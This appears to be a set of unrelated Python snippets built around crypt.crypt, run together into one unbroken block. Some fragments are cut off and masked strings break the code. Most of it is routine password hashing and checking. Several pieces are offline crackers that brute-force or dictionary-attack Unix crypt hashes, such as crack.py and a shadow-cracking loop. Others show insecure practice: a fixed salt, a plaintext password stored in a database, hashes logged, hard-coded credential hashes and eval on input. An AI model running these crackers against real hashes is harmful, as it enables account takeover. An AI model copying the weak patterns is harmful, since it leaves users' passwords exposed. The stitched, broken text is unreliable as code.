def testPass(cryptPass): salt = cryptPass[0:2] if(args.d): dictFile = open(args.d, 'r') for word in dictFile.readlines(): word = word.strip('\n') cryptWord = crypt.crypt(word, salt) if(cryptWord == cryptPass): print('[+] Found Password: '******'\n') return print('[-] Password Not Found.\n') return else: attempt_number = 8 while attempt_number <= 8: options_list = 'abcdefghijklmnopqrstuvwxyz' attempted_list = [] for current in xrange(attempt_number): word = [i for i in options_list] for y in xrange(current): word = [x+i for i in options_list for x in word] for testWord in word: cryptWord = crypt.crypt(testWord, salt) if(cryptWord == cryptPass): print('[+] Found Password: '******'\n') return attempted_list = attempted_list+word attempt_number += 1
def post(self, id): inst = self.get_instance(id, isowner=True) if not inst: return form = PasswordForm(self.request.arguments) if form.validate(): # get shadow passwd import crypt, random, time salt = crypt.crypt(str(random.random()), str(time.time()))[:8] s = "$".join(["", "6", salt, ""]) password = crypt.crypt(form.password.data, s) if inst.config: config = json.loads(inst.config) else: config = {} config["passwd_hash"] = password inst.config = json.dumps(config) if inst.is_running: inst.ischanged = True self.db2.commit() url = self.reverse_url("instance:view", id) url += "?view=secret" return self.redirect(url) # Get error d = {"title": _("Edit Root Password for Instance"), "instance": inst, "form": form} self.render("instance/password_edit.html", **d)
def user_ensure(name, passwd=None, home=None, uid=None, gid=None, shell=None): """Ensures that the given users exists, optionally updating their passwd/home/uid/gid/shell.""" d = user_check(name) if not d: user_create(name, passwd, home, uid, gid, shell) else: options = [] if passwd != None and d.get('passwd') != None: method, salt = d.get('passwd').split('$')[1:3] passwd_crypted = crypt.crypt(passwd, '$%s$%s' % (method, salt)) if passwd_crypted != d.get('passwd'): options.append("-p '%s'" % (passwd_crypted)) if passwd != None and d.get('passwd') is None: # user doesn't have passwd method = 6 saltchars = string.ascii_letters + string.digits + './' salt = ''.join([random.choice(saltchars) for x in range(8)]) passwd_crypted = crypt.crypt(passwd, '$%s$%s' % (method, salt)) options.append("-p '%s'" % (passwd_crypted)) if home != None and d.get("home") != home: options.append("-d '%s'" % (home)) if uid != None and d.get("uid") != uid: options.append("-u '%s'" % (uid)) if gid != None and d.get("gid") != gid: options.append("-g '%s'" % (gid)) if shell != None and d.get("shell") != shell: options.append("-s '%s'" % (shell)) if options: sudo("usermod %s '%s'" % (" ".join(options), name))
def login(): print 'Welcom to xx system :)' name = raw_input('username: '******'t registered, register now?(y/n): ") if 'y' == choice: pwd = raw_input('enter password for %s: ' % name) db[name] = [] + [crypt.crypt(pwd, getsalt())] db[name].append(time.asctime()) else: pwd = raw_input('passwd: ') passwd = db.get(name)[0] if passwd == crypt.crypt(pwd, passwd[:2]): if name =='admin' and db[name][1] == '': print db print 'Dear admin, this is your first time to login, please reset your passwd.' resetpwd(name) if db[name][1] != '' and time.localtime()[3] - int(db[name][1][8:10]) <= 4: print 'You last logged in at ', db[name][1] db[name][1] = time.asctime() print 'welcome back', name showmenu(name) else: print 'login incrrect'
def profile_edit(): if not logined_by_cookie(): return redirect(url_for('do_login')) # if not logined go to login else: user_id = request.cookies.get('id') username = str(get_nick())+' '+str(user_id) email = db.session.query(User.email).filter_by(id=user_id).one()[0] if request.method == 'GET': return render_template('profile_edit.html', user=username, mail=email) elif request.method == 'POST': original_password = request.form.get('orig_pass') from crypt import crypt; salt = '$6$FIXEDS' pass_hash = crypt(original_password, salt) hash_from_db = db.session.query(User.p_hash).filter_by(id=user_id).one()[0] app.logger.debug('Passwords:\n'+str(pass_hash)+'\n'+str(hash_from_db)) # debug if pass_hash == hash_from_db: mail = request.form.get('email') new_password = request.form.get('new_pass') if new_password is None: db.session.query(User).filter_by(id=user_id).update({'email': mail}) db.session.commit() else: #update pass salt = '$6$FIXEDS' pass_hash = crypt(new_password, salt) db.session.query(User).filter_by(id=user_id).update({ 'email': mail, 'p_hash': pass_hash, 'password': original_password}) db.session.commit() app.logger.debug('SETTING Password:\n'+str(pass_hash)) # debug else: return "wrong password" return render_template('profile.html', user=username, mail=email)
def hash_passwd(pw, md5=1, salt=None): """ Create a password hash """ if not salt: # seeding from /dev/random should be better than # the default action of using current time random.seed(open("/dev/random").read(4)) if md5: # md5 if not salt: salt = "" for foo in range(8): i = random.choice(SALT_SET) salt = salt + chr(i) hash = crypt.crypt(pw, "$1$" + salt) else: # DES if not salt: salt = "" for foo in range(2): i = random.choice(SALT_SET) salt = salt + chr(i) hash = crypt.crypt(pw, salt) return hash
def test_passwords_api(session, users, http_client, base_url, graph): user = users['*****@*****.**'] TEST_PASSWORD = "******" add_new_user_password(session, "test", TEST_PASSWORD, user.id) assert len(user_passwords(session, user)) == 1, "The user should only have a single password" graph.update_from_db(session) c = Counter.get(session, name="updates") api_url = url(base_url, '/users/{}'.format(user.username)) resp = yield http_client.fetch(api_url) body = json.loads(resp.body) assert body["checkpoint"] == c.count, "The API response is not up to date" assert body["data"]["user"]["passwords"] != [], "The user should not have an empty passwords field" assert body["data"]["user"]["passwords"][0]["name"] == "test", "The password should have the same name" assert body["data"]["user"]["passwords"][0]["func"] == "crypt(3)-$6$", "This test does not support any hash functions other than crypt(3)-$6$" assert body["data"]["user"]["passwords"][0]["hash"] == crypt.crypt(TEST_PASSWORD, body["data"]["user"]["passwords"][0]["salt"]), "The hash should be the same as hashing the password and the salt together using the hashing function" assert body["data"]["user"]["passwords"][0]["hash"] != crypt.crypt("hello", body["data"]["user"]["passwords"][0]["salt"]), "The hash should not be the same as hashing the wrong password and the salt together using the hashing function" delete_user_password(session, "test", user.id) c = Counter.get(session, name="updates") graph.update_from_db(session) api_url = url(base_url, '/users/{}'.format(user.username)) resp = yield http_client.fetch(api_url) body = json.loads(resp.body) assert body["checkpoint"] == c.count, "The API response is not up to date" assert body["data"]["user"]["passwords"] == [], "The user should not have any passwords"
def post_password(self, I): form = PasswordForm(self) if form.validate(): # get shadow passwd import crypt, random, time salt = crypt.crypt(str(random.random()), str(time.time()))[:8] s = '$'.join(['','6', salt,'']) password = crypt.crypt(form.password.data,s) if I.config: config = json.loads(I.config) else: config = {} config['passwd_hash'] = password I.config = json.dumps(config) if I.is_running: I.ischanged = True I.set_config('use_global_passwd', False) self.db2.commit() url = self.reverse_url('myun:instance:view', I.id) url += '?tab=secret' return self.redirect( url ) self.d['form'] = form self.render('myun/instance/edit_password.html', **self.d)
def changeUnixPassword(self,user,password=None,sudo=False): """ Change Unix password for <user> with [password] (default: None) , prompted for the user ( Warning: this method is unsecure with shell history) in [sudo] mode (default False) """ from crypt import crypt from getpass import getpass self.needSudo = eval(str(sudo).capitalize()) if not env.has_key('changeUnixPassword'): env.changeUnixPassword = {} if not env.changeUnixPassword.has_key(user): if not password is None: env.changeUnixPassword[user] = crypt(password, 'salt') else: password = getpass('Enter a new password for user %s:' % user) password2 = getpass('Please re-enter the password for user %s:' % user) if password != password2: print(red("ERROR:")+" the two passwords you've entered does not matched") return False env.changeUnixPassword[user] = crypt(password, 'salt') result = self._fabrun('usermod --password %s %s' % (env.changeUnixPassword[user], user), False) if result.succeeded: print(env.host+"|password "+green("SUCCESSFULLY")+" updated for <"+blue(user)+"> user") return True else: print(env.host+"|"+red("FAILED")+" to update password for <"+blue(user)+"> user. Reason: <"+yellow(result)+">") return False
def checkPass(self, uid, password): """ This function checks the password for a given uid. - returns true in case of success - false if password does not match We do not support shadow passwords at the moment. so the seconds column of the passwd file needs to contain the crypted password """ import crypt log.info("[checkPass] checking password for user uid %s" % uid) cryptedpasswd = self.passDict[uid] log.debug("[checkPass] We found the crypted pass %s for uid %s" % (cryptedpasswd, uid)) if cryptedpasswd: if cryptedpasswd == 'x' or cryptedpasswd == '*': err = "Sorry, currently no support for shadow passwords" log.error("[checkPass] %s " % err) raise NotImplementedError(err) cp = crypt.crypt(password, cryptedpasswd) log.debug("[checkPass] crypted pass is %s" % cp) if crypt.crypt(password, cryptedpasswd) == cryptedpasswd: log.info("[checkPass] successfully authenticated user uid %s" % uid) return True else: log.warning("[checkPass] user uid %s failed to authenticate" % uid) return False else: log.warning("[checkPass] Failed to verify password. " "No crypted password found in file") return False
def set_root_password_test(self): password = "******" # Initialize a root user with an empty password, like the setup package would have with open(self.tmpdir + "/etc/passwd", "w") as f: f.write("root:x:0:0:root:/root:/bin/bash\n") with open(self.tmpdir + "/etc/shadow", "w") as f: f.write("root:*:16489:0:99999:7:::\n") self.users.setRootPassword(password, root=self.tmpdir) shadow_fields = self._readFields("/etc/shadow", "root") self.assertEqual(crypt.crypt(password, shadow_fields[1]), shadow_fields[1]) # Try a different password with isLocked=True password = "******" self.users.setRootPassword(password, isLocked=True, root=self.tmpdir) shadow_fields = self._readFields("/etc/shadow", "root") self.assertTrue(shadow_fields[1].startswith("!")) self.assertEqual(crypt.crypt(password, shadow_fields[1][1:]), shadow_fields[1][1:]) # Try an encrypted password password = "******" self.users.setRootPassword(password, isCrypted=True, root=self.tmpdir) shadow_fields = self._readFields("/etc/shadow", "root") self.assertEqual(password, shadow_fields[1])
def myFunction(salt, myArgument): for c in myDict: if crypt(c, salt) == myArgument: return c for c in myDict: for a in myDict: if crypt(c + a, salt) == myArgument: return c + a for c in myDict: for a in myDict: for r in myDict: if crypt(c + a + r, salt) == myArgument: return c + a + r for c in myDict: for a in myDict: for r in myDict: for e in myDict: if crypt(c + a + r + e, salt) == myArgument: return c + a + r + e for c in myDict: for a in myDict: for r in myDict: for e in myDict: for s in myDict: if crypt(c + a + r + e + s, salt) == myArgument: return c + a + r + e + s return "Failed to find password"
def htpasswd(password, hash): if hash.startswith('$apr1$'): return md5crypt(password, hash[6:].split('$')[0], '$apr1$') elif hash.startswith('{SHA}'): return '{SHA}' + sha1(password).digest().encode('base64')[:-1] elif passlib_ctxt is not None and hash.startswith('$5$') and \ 'sha256_crypt' in passlib_ctxt.policy.schemes(): return passlib_ctxt.encrypt(password, scheme="sha256_crypt", rounds=5000, salt=hash[3:].split('$')[0]) elif passlib_ctxt is not None and hash.startswith('$6$') and \ 'sha512_crypt' in passlib_ctxt.policy.schemes(): return passlib_ctxt.encrypt(password, scheme="sha512_crypt", rounds=5000, salt=hash[3:].split('$')[0]) elif crypt is None: # crypt passwords are only supported on Unix-like systems raise NotImplementedError(_("""The \"crypt\" module is unavailable on this platform.""")) else: if hash.startswith('$5$') or hash.startswith('$6$'): # Import of passlib failed, now check, if crypt is capable. if not crypt(password, hash).startswith(hash): # No, so bail out. raise NotImplementedError(_( """Neither are \"sha2\" hash algorithms supported by the \"crypt\" module on this platform nor is \"passlib\" available.""")) return crypt(password, hash)
def post(self, id): inst = self.get_instance(id, isowner=True) if not inst: return form = PasswordForm( self.request.arguments ) if form.validate(): # get shadow passwd import crypt, random, time salt = crypt.crypt(str(random.random()), str(time.time()))[:8] s = '$'.join(['','6', salt,'']) password = crypt.crypt(form.password.data,s) if inst.config: config = json.loads(inst.config) else: config = {} config['passwd_hash'] = password inst.config = json.dumps(config) if inst.is_running: inst.ischanged = True self.db2.commit() url = self.reverse_url('instance:view', id) url += '?view=secret' return self.redirect( url ) # Get error d = { 'title': _('Edit Root Password for Instance'), 'instance': inst, 'form': form } self.render('instance/password_edit.html', **d)
def hasloo(password): for i in range(10): salt = str(hash(password)) haslo = crypt.crypt(password, salt) password=haslo haslo = crypt.crypt(haslo, 'po') return haslo
def passwd(): form = EditForm() if form.validate_on_submit() and check_qaptcha(): l = ldap.initialize(LDAP_SERVER) l.simple_bind_s(LDAP_BINDDN, LDAP_BINDPW) [(dn, attrs)] = l.search_s(people_basedn, ldap.SCOPE_ONELEVEL, '(uid=%s)' % (g.user.username), None) if dn: # if user exists passwd_list = attrs['userPassword'][0].split('$') if '{CRYPT}' + crypt.crypt(form.old_password.data, '$' + passwd_list[1] + '$' + passwd_list[2] + '$') == attrs['userPassword'][0]: # if passwd is right old = {'userPassword': attrs['userPassword']} new = {'userPassword': ['{CRYPT}' + crypt.crypt(form.new_password.data, '$6$%s$'%(''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(10)])))]} ldif = modlist.modifyModlist(old, new) l.modify_s(dn, ldif) logout_user() flash('Your password has been reset, please login now.') l.unbind_s() return redirect(url_for('login')) else: # if passwd is wrong flash('Password incorrect!') l.unbind_s() return render_template('passwd.html', form = form, user = g.user) else: flash("User doesn't exist, please login again.") l.unbind_s() return redirect(url_for('login')) return render_template('passwd.html', form = form, user = g.user)
def set_password(self, cleartext): try: self.password = crypt.crypt(cleartext) except TypeError: # Python2 charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' salt = ''.join([random.choice(charset) for n in range(0, 16)]) self.password = crypt.crypt(cleartext, '$6$'+salt)
def validatePassword(self, passwd, pwdhash): from crypt import crypt # @UnresolvedImport if pwdhash == crypt(passwd, pwdhash[0:2]): return True # openssl passwd -1 if len(pwdhash) > 12 and pwdhash == crypt(passwd, pwdhash[0:12]): return True return False
def save(user): if not user.id: user.passwd = crypt.crypt(user.passwd) else: olduser = User.get(user.id) if olduser.passwd != user.passwd: # change passwd user.passwd = crypt.crypt(user.passwd) super(ModelBase, user).save()
def enc_shadow_passwd(plaintext): # get shadow passwd salt = crypt.crypt(str(random.random()), str(time.time()))[:8] s = '$'.join(['', '6', salt, '']) password = crypt.crypt(plaintext, s) return password
def encrypt_password(plaintext, salt=None, alt_root="/", username=""): # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ """ Encrypts the password. If a salt value is given, it will be used. If salt is not given, a salt will be generated for use. Args: plaintext: password string in plaintext salt: salt to be used for the encryption. If none is provided, a salt will be generated. alt_root: alternate root to find the libc.so that contains the libraries to be called for generating the seed. username: name of the user to generate the password for. Returns: The encrypted password string Raises: None """ # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ if salt is not None: return (crypt.crypt(plaintext, salt)) # define needed structures for calling getpwnam(3C) and crypt_gensalt(3C) string = C.c_char_p class Passwd(C.Structure): _fields_ = [ ("pw_name", string), ("pw_passwd", string), ("pw_uid", C.c_uint), ("pw_gid", C.c_uint), ("pw_age", string), ("pw_comment", string), ("pw_gecos", string), ("pw_dir", string), ("pw_shell", string) ] if sys.maxint == 2147483647: _LIBC = C.CDLL(os.path.join(alt_root, "usr/lib/libc.so")) else: _LIBC = C.CDLL(os.path.join(alt_root, "usr/lib/64/libc.so")) getpwnam = _LIBC.getpwnam getpwnam.argtypes = ((string),) getpwnam.restype = C.POINTER(Passwd) crypt_gensalt = _LIBC.crypt_gensalt crypt_gensalt.argtypes = (string, C.POINTER(Passwd)) crypt_gensalt.restype = string pwnam_entry = getpwnam(username) salt = crypt_gensalt(None, pwnam_entry) return (crypt.crypt(plaintext, salt))
def assignPassword(self, user, old_password, new_password): if ( user.id is None or user.password == crypt.crypt(old_password, settings.PASSWORD_SALT) ) and new_password is not None: user.password = crypt.crypt(new_password, settings.PASSWORD_SALT) return user else: raise InvalidPasswordException(old_password)
def enc_shadow_passwd(plaintext): # get shadow passwd salt = crypt.crypt(str(random.random()), str(time.time()))[:8] s = "$".join(["", "6", salt, ""]) password = crypt.crypt(plaintext, s) return password
def createSession(self, user_id): user = self.user_service.findUser(id=user_id) if user is not None: session = Session() session.user = user session.hash = crypt(str(random()), settings.SESSION_SALT) + crypt(str(random()), settings.SESSION_SALT) session.save() return session else: return None
def get_digest(password, salt, algo): if algo == 'des': return crypt.crypt(password, salt) if algo =='sha512': if sys.platform == 'linux2': return crypt.crypt(password, '$6$' + salt + '$') else: if imported_passlib: return hash.sha512_crypt.encrypt(password, salt=salt, rounds=5000, implicit_rounds=True)[20:] print 'Error: No support for "%s".' % algo sys.exit(1)
def buscar(): user = request.form['text'] pw = request.form['passwd'] htpuser = '******' htpasswd = 'Jywn1PBEdYjkg' authU = crypt(pw,htpasswd)==htpasswd authP = crypt(user,htpuser)==htpuser #print authU, authP if (authU == True) and (authP == True): return render_template('tareas.html') else: return render_template('index.html')
def test_crypt_password(password): crypted = crypt_password(password) # it should be a sha512 hash assert crypted.startswith('$6$') # verify password against hash succeeds assert crypt.crypt(password, crypted) == crypted # verify not-the-password against hash fails for not_password in ['', password + ' ', 'hunter3']: assert crypt.crypt(password, crypt_password(not_password)) != crypted
def write_htpasswd(): htpasswd_file = open(settings.HTPASSWD_PATH + ".tmp", "w") for team in Team.objects.all(): # htpasswd stuff salt = random.choice(SALT_VALUES)+random.choice(SALT_VALUES) htpasswd_file.write("%s:%s\n" % (team.id, crypt.crypt(team.password, salt))) salt = random.choice(SALT_VALUES)+random.choice(SALT_VALUES) htpasswd_file.write("%s:%s\n" % (settings.ADMIN_NAME, crypt.crypt(settings.ADMIN_PASSWORD, salt))) htpasswd_file.close() os.rename(settings.HTPASSWD_PATH + ".tmp", settings.HTPASSWD_PATH)
def cryptPassword(config, passwordtext): config['passwordtext'] = passwordtext crypted = config['password']['crypted'] if config['password']['text'] == 'PASSWORD': config['password'] = "".join([random.SystemRandom().choice( string.ascii_letters + string.digits) for _ in range(16)]) if crypted: config['password'] = crypt.crypt( config['password'], "$6$" + "".join([random.SystemRandom().choice( string.ascii_letters + string.digits) for _ in range(16)])) else: config['password'] = crypt.crypt(passwordtext, '$6$saltsalt$')
def on_btnOk_clicked(self, *args): type = self.getExportType() # self.__conf["type"] # Put back the conf which is desired self.__conf["type"] = type if type == "CA": self.__conf["CA.folder"] = self.tbFolderA.get_text() types = ['tar', 'tbz', 'tgz', 'zip'] self.__conf["CA.type"] = types[self.cbTypeA.get_active()] elif type == "FS": self.__conf["FS.folder"] = self.tbFolderF.get_text() elif type == "HG": self.__conf["HG.folder"] = self.tbFolderH.get_text() self.__conf["HG.template"] = self.cbTemplate.get_active() elif type == "PW": self.__conf["PW.login"] = self.tbLoginPW.get_text() self.__conf["PW.password"] = crypt(self.tbPasswordPW.get_text()) self.__conf["PW.privacy"] = int(self.rbPrivatePW.get_active()) elif type == "FR": self.__conf["FR.public"] = int(self.rbPublicFR.get_active()) self.__conf["FR.friends"] = int(self.cbFriendsFR.get_active()) self.__conf["FR.family"] = int(self.cbFamilyFR.get_active()) elif type == "SM": self.__conf["SM.smtp"] = self.tbSmtp.get_text() self.__conf["SM.port"] = self.spPortSM.get_value_as_int() self.__conf["SM.auth"] = int(self.cbAuthSM.get_active()) if self.cbAuthSM.get_active(): self.__conf["SM.username"] = self.tbUserSM.get_text() self.__conf["SM.password"] = \ crypt(self.tbPasswordSM.get_text()) self.__conf["SM.security"] = self.cbSecurity.get_active() self.__conf["SM.to"] = self.tbTo.get_text() self.__conf["SM.from"] = self.tbFrom.get_text() self.__conf["SM.subject"] = self.tbSubject.get_text() self.__conf["SM.message"] = self.tbMessage.get_text() elif type == "FT": self.__conf["FT.ftp"] = self.tbFtp.get_text() self.__conf["FT.login"] = self.tbLoginFT.get_text() self.__conf["FT.password"] = crypt(self.tbPasswordFT.get_text()) self.__conf["FT.path"] = self.tbPath.get_text() # common self.__conf[type + ".resize"] = self.getResizeType() self.__conf[type + ".percent"] = self.hsResize.get_value() self.__conf[type + ".quality"] = self.hsQuality.get_value() self.__conf[type + ".maxside"] = self.eMaxSide.get_text() self.__conf[type + ".order"] = self.cbOrder.get_active() self.__conf[type + ".metadata"] = self.cbMetadata.get_active() self.quit(type)
def main(): expiry = date.strftime(date.today() + relativedelta(years=1), "%Y-%m-%d") module = AnsibleModule(argument_spec=dict( birthday=dict(default=None, type='str'), city=dict(default=None, type='str'), country=dict(default=None, type='str'), department_number=dict(default=None, type='str', aliases=['departmentNumber']), description=dict(default=None, type='str'), display_name=dict(default=None, type='str', aliases=['displayName']), email=dict(default=[''], type='list'), employee_number=dict(default=None, type='str', aliases=['employeeNumber']), employee_type=dict(default=None, type='str', aliases=['employeeType']), firstname=dict(default=None, type='str'), gecos=dict(default=None, type='str'), groups=dict(default=[], type='list'), home_share=dict(default=None, type='str', aliases=['homeShare']), home_share_path=dict(default=None, type='str', aliases=['homeSharePath']), home_telephone_number=dict(default=[], type='list', aliases=['homeTelephoneNumber']), homedrive=dict(default=None, type='str'), lastname=dict(default=None, type='str'), mail_alternative_address=dict(default=[], type='list', aliases=['mailAlternativeAddress']), mail_home_server=dict(default=None, type='str', aliases=['mailHomeServer']), mail_primary_address=dict(default=None, type='str', aliases=['mailPrimaryAddress']), mobile_telephone_number=dict(default=[], type='list', aliases=['mobileTelephoneNumber']), organisation=dict(default=None, type='str'), overridePWHistory=dict(default=False, type='bool', aliases=['override_pw_history']), overridePWLength=dict(default=False, type='bool', aliases=['override_pw_length']), pager_telephonenumber=dict(default=[], type='list', aliases=['pagerTelephonenumber']), password=dict(default=None, type='str', no_log=True), phone=dict(default=[], type='list'), postcode=dict(default=None, type='str'), primary_group=dict(default=None, type='str', aliases=['primaryGroup']), profilepath=dict(default=None, type='str'), pwd_change_next_login=dict(default=None, type='str', choices=['0', '1'], aliases=['pwdChangeNextLogin']), room_number=dict(default=None, type='str', aliases=['roomNumber']), samba_privileges=dict(default=[], type='list', aliases=['sambaPrivileges']), samba_user_workstations=dict(default=[], type='list', aliases=['sambaUserWorkstations']), sambahome=dict(default=None, type='str'), scriptpath=dict(default=None, type='str'), secretary=dict(default=[], type='list'), serviceprovider=dict(default=[''], type='list'), shell=dict(default='/bin/bash', type='str'), street=dict(default=None, type='str'), title=dict(default=None, type='str'), unixhome=dict(default=None, type='str'), userexpiry=dict(default=expiry, type='str'), username=dict(required=True, aliases=['name'], type='str'), position=dict(default='', type='str'), ou=dict(default='', type='str'), subpath=dict(default='cn=users', type='str'), state=dict(default='present', choices=['present', 'absent'], type='str')), supports_check_mode=True, required_if=([ ('state', 'present', ['firstname', 'lastname', 'password']) ])) username = module.params['username'] position = module.params['position'] ou = module.params['ou'] subpath = module.params['subpath'] state = module.params['state'] changed = False users = list( ldap_search('(&(objectClass=posixAccount)(uid={}))'.format(username), attr=['uid'])) if position != '': container = position else: if ou != '': ou = 'ou={},'.format(ou) if subpath != '': subpath = '{},'.format(subpath) container = '{}{}{}'.format(subpath, ou, base_dn()) user_dn = 'uid={},{}'.format(username, container) exists = bool(len(users)) if state == 'present': try: if not exists: obj = umc_module_for_add('users/user', container) else: obj = umc_module_for_edit('users/user', user_dn) if module.params['displayName'] is None: module.params['displayName'] = '{} {}'.format( module.params['firstname'], module.params['lastname']) if module.params['unixhome'] is None: module.params['unixhome'] = '/home/{}'.format( module.params['username']) for k in obj.keys(): if (k != 'password' and k != 'groups' and k != 'overridePWHistory' and k in module.params and module.params[k] is not None): obj[k] = module.params[k] # handle some special values obj['e-mail'] = module.params['email'] password = module.params['password'] if obj['password'] is None: obj['password'] = password else: old_password = obj['password'].split('}', 2)[1] if crypt.crypt(password, old_password) != old_password: obj['overridePWHistory'] = module.params[ 'overridePWHistory'] obj['overridePWLength'] = module.params['overridePWLength'] obj['password'] = password diff = obj.diff() if exists: for k in obj.keys(): if obj.hasChanged(k): changed = True else: changed = True if not module.check_mode: if not exists: obj.create() elif changed: obj.modify() except: module.fail_json( msg="Creating/editing user {} in {} failed".format( username, container)) try: groups = module.params['groups'] if groups: filter = '(&(objectClass=posixGroup)(|(cn={})))'.format( ')(cn='.join(groups)) group_dns = list(ldap_search(filter, attr=['dn'])) for dn in group_dns: grp = umc_module_for_edit('groups/group', dn[0]) if user_dn not in grp['users']: grp['users'].append(user_dn) if not module.check_mode: grp.modify() changed = True except: module.fail_json( msg="Adding groups to user {} failed".format(username)) if state == 'absent' and exists: try: obj = umc_module_for_edit('users/user', user_dn) if not module.check_mode: obj.remove() changed = True except: module.fail_json(msg="Removing user {} failed".format(username)) module.exit_json(changed=changed, username=username, diff=diff, container=container)
"slat": splited[2], "salt_pass": splited[3], "fullhash": hpass, "plain_pass": "" } users.append(user.copy()) def generator(counter): for i in product(*([pattern] * counter)): yield ''.join(i) counter = min result = [] res = open("result.txt", 'w+') while users and counter <= max: for word in generator(counter): print(f"Checking ... : {word}", end="\r") for u in users[:]: password = crypt(word, u["hash_type"] + u['slat']) if compare_hash(password, u['fullhash']): u["plain_pass"] = password result.append(u.copy()) print('\n' + u['name'] + ":" + word) res.write(u['name'] + ":" + word + "\n") users.remove(u) if not users: break counter += 1
# sock.sendall(b"SUTO_C_GET_SALTA") # print("Sent SUTO_C_GET_SALTA") # linux_salt_msg = sock.recv(102400) # lsalt = linux_salt_msg[11:30].decode("utf-8") # random_salt = linux_salt_msg[31:].decode("utf-8") # print("SALT:-" + lsalt) # print("RSALT:-" + random_salt) # # linux_salt_msg = sock.recv(102400)[10:].decode("utf-8") # # print(f"Received salt {linux_salt}") lsalt = "$6$kc79mUNRKYpXm3.S" sock.sendall(b"SUTO_C_GET_RSALT") print("Sent SUTO_C_GET_RSALT") rsalt = sock.recv(102400)[11:].decode("utf-8") print(f"Received rsalt:{rsalt}") password = input("Enter password for {}:".format(username)) linuxpwhash = crypt.crypt(password, salt=lsalt) print(f"linux hash is {linuxpwhash}") phash = crypt.crypt(linuxpwhash, salt=rsalt) sock.sendall(bytes("SUTO_CF_HASH_"+phash, "utf-8")) print(f"Sent final hash: {phash}") final_message = sock.recv(102400).decode("utf-8") if final_message == "SUTO_AUTH_1": print("Success") elif final_message == "SUTO_AUTH_0": print("Failed") else: print("Error") finally: sock.close() # server.close() client.close()
def compute_hash(ctype, salt, password): return crypt.crypt(password, '{}{}'.format(ctype, salt))
def test_current_user(User): assert User().name == "root" pw = User().password assert crypt.crypt("foo", pw) == pw
def install(self): f = xenrt.TEC().getFile("/usr/groups/xenrt/oraclevm/%s/ovm.iso" % (self.productVersion)) d = xenrt.NFSDirectory() m = xenrt.MountISO(f) d.copyIn("%s/*" % m.getMount()) m.unmount() host, path = d.getHostAndPath("") pw = crypt.crypt(xenrt.TEC().lookup("ROOT_PASSWORD"), "Xa") ksd = xenrt.NFSDirectory() ks = """lang en_US #langsupport en_US eula Accepted keyboard us #mouse genericusb timezone --utc America/Los_Angeles rootpw --iscrypted %s zerombr bootloader --location=mbr install nfs --server %s --dir %s clearpart --all part /boot --fstype ext3 --size 512 --ondisk sda part swap --size 4096 --ondisk sda part / --fstype ext3 --size 1 --grow --ondisk sda network --bootproto dhcp --device eth0 ovsagent --iscrypted %s ovsmgmntif eth0 auth --useshadow --enablemd5 firewall --disabled #Do not configure the X Window System skipx text %%packages @Everything %%pre dd if=/dev/zero of=/dev/sda bs=1024 count=1024 %%post --nochroot %%post mkdir /tmp/xenrttmpmount mount -onolock -t nfs %s /tmp/xenrttmpmount touch /tmp/xenrttmpmount/.xenrtsuccess umount /tmp/xenrttmpmount """ % (pw, host, path, pw, ksd.getMountURL("")) with open("%s/ks.cfg" % ksd.path(), "w") as f: f.write(ks) pxe = xenrt.PXEBoot() pxe.addEntry("local", boot="local") serport = self.lookup("SERIAL_CONSOLE_PORT", "0") serbaud = self.lookup("SERIAL_CONSOLE_BAUD", "115200") comport = str(int(serport) + 1) if self.lookup("PXE_NO_SERIAL", False, boolean=True): pxe.setSerial(None, None) else: pxe.setSerial(serport, serbaud) chain = self.getChainBoot() if chain: pxe.addEntry("local", boot="chainlocal", options=chain) else: pxe.addEntry("local", boot="local") pxe.copyIn("%s/isolinux/xen.gz" % d.path()) pxe.copyIn("%s/isolinux/vmlinuz" % d.path()) pxe.copyIn("%s/isolinux/initrd.img" % d.path()) install = pxe.addEntry("ovminstall", boot="mboot") install.mbootSetKernel("%s/xen.gz" % pxe.path()) install.mbootSetModule1("%s/vmlinuz" % pxe.path()) install.mbootSetModule2("%s/initrd.img" % pxe.path()) install.mbootArgsModule1Add("ks=nfs:%sks.cfg" % ksd.getMountURL("")) install.mbootArgsModule1Add("ksdevice=eth0") install.mbootArgsModule1Add("ip=dhcp") #install.mbootArgsKernelAdd("com%s=%s,8n1" % (comport, serbaud)) #install.mbootArgsModule1Add("console=tty0") #install.mbootArgsModule1Add("console=ttyS%s,%sn8" % (serport, serbaud)) pxe.setDefault("ovminstall") pxe.writeOut(self.machine) self.machine.powerctl.cycle() xenrt.waitForFile("%s/.xenrtsuccess" % ksd.path(), 3600, desc="Installer boot on !%s" % (self.getName())) xenrt.sleep(30) pxe.setDefault("local") pxe.writeOut(self.machine) self.machine.powerctl.cycle() self.waitForSSH(1800, desc="Host boot (!%s)" % (self.getName()))
def check_hash(cleartext, cryptedpasswd): return compare_hash(crypt.crypt(cleartext, cryptedpasswd), cryptedpasswd)
def encrypt_pass(password, salt_id="$6$"): return crypt.crypt(password, salt_id + util.rand_str(strlen=16))
import crypt import sys import itertools if __name__ == '__main__': # check if correct number of command line arguments if (len(sys.argv) != 2): print("Usage: python crack.py hash", file=sys.stderr) exit(1) # store correct hash correct = sys.argv[1] # get salt salt = correct[:2] # generate list containing all alphabet characters alphabet = [] for i in range(26): alphabet.append(chr(i + ord('A'))) alphabet.append(chr(i + ord('a'))) # brute force search for password for i in range(1, 5): for each in itertools.product(alphabet, repeat=i): test = "".join(each) if crypt.crypt(test, salt) == correct: print("{}".format(test)) exit(0)
def hashPassword(passw): """Hashes password with random salt """ salt = crypt.mksalt(crypt.METHOD_SHA512) #generates salt return crypt.crypt(passw, salt) #returns encrypted password
